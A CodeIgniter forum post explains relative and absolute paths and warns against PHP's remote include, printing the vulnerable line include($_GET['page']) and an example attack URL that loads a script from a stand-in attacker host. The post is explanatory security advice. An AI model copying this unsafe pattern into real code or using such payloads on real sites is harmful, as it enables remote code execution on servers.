Welcome Guest, Not a member yet? Register   Sign In
htaccess
#7

[eluser]cahva[/eluser]
Its not in the guide. Its universal Smile

For example in the config:

Code:
$system_folder = "../system";
$application_folder = "c:/wamp/www/CodeIgniter/application/project1";

$system_folder is assigned in this case with relative path and $application_folder with absolute path. Relative path is, well relative to the script that is using it Smile

Reason why you cant(well you can if you set allow_url_include to on) use include() function with URL is that its very unsecure and basicly hackers could execute harmful code in your server. For example this:
Code:
// This trusts input from user. No checkings whatsoever.
include($_GET['page']);
..would be a dream come true for hackers. They could just add "?page=http://evilhaxor.com/some_evil_haxorscript.txt" to the end of your script and it would be parsed with PHP from YOUR server.
This kind of unsecure coding can still be found on the internetsites and usually when hackers discover this kind of script, they will use exploits like this to send spam etc.


Messages In This Thread
htaccess - by El Forum - 06-28-2009, 11:35 PM
htaccess - by El Forum - 06-29-2009, 12:26 AM
htaccess - by El Forum - 06-29-2009, 12:03 PM
htaccess - by El Forum - 06-30-2009, 07:16 AM
htaccess - by El Forum - 06-30-2009, 07:55 AM
htaccess - by El Forum - 06-30-2009, 08:21 AM
htaccess - by El Forum - 06-30-2009, 10:44 AM
htaccess - by El Forum - 06-30-2009, 07:48 PM
htaccess - by El Forum - 06-30-2009, 08:41 PM
htaccess - by El Forum - 06-30-2009, 08:49 PM



Theme © iAndrew 2016 - Forum software by © MyBB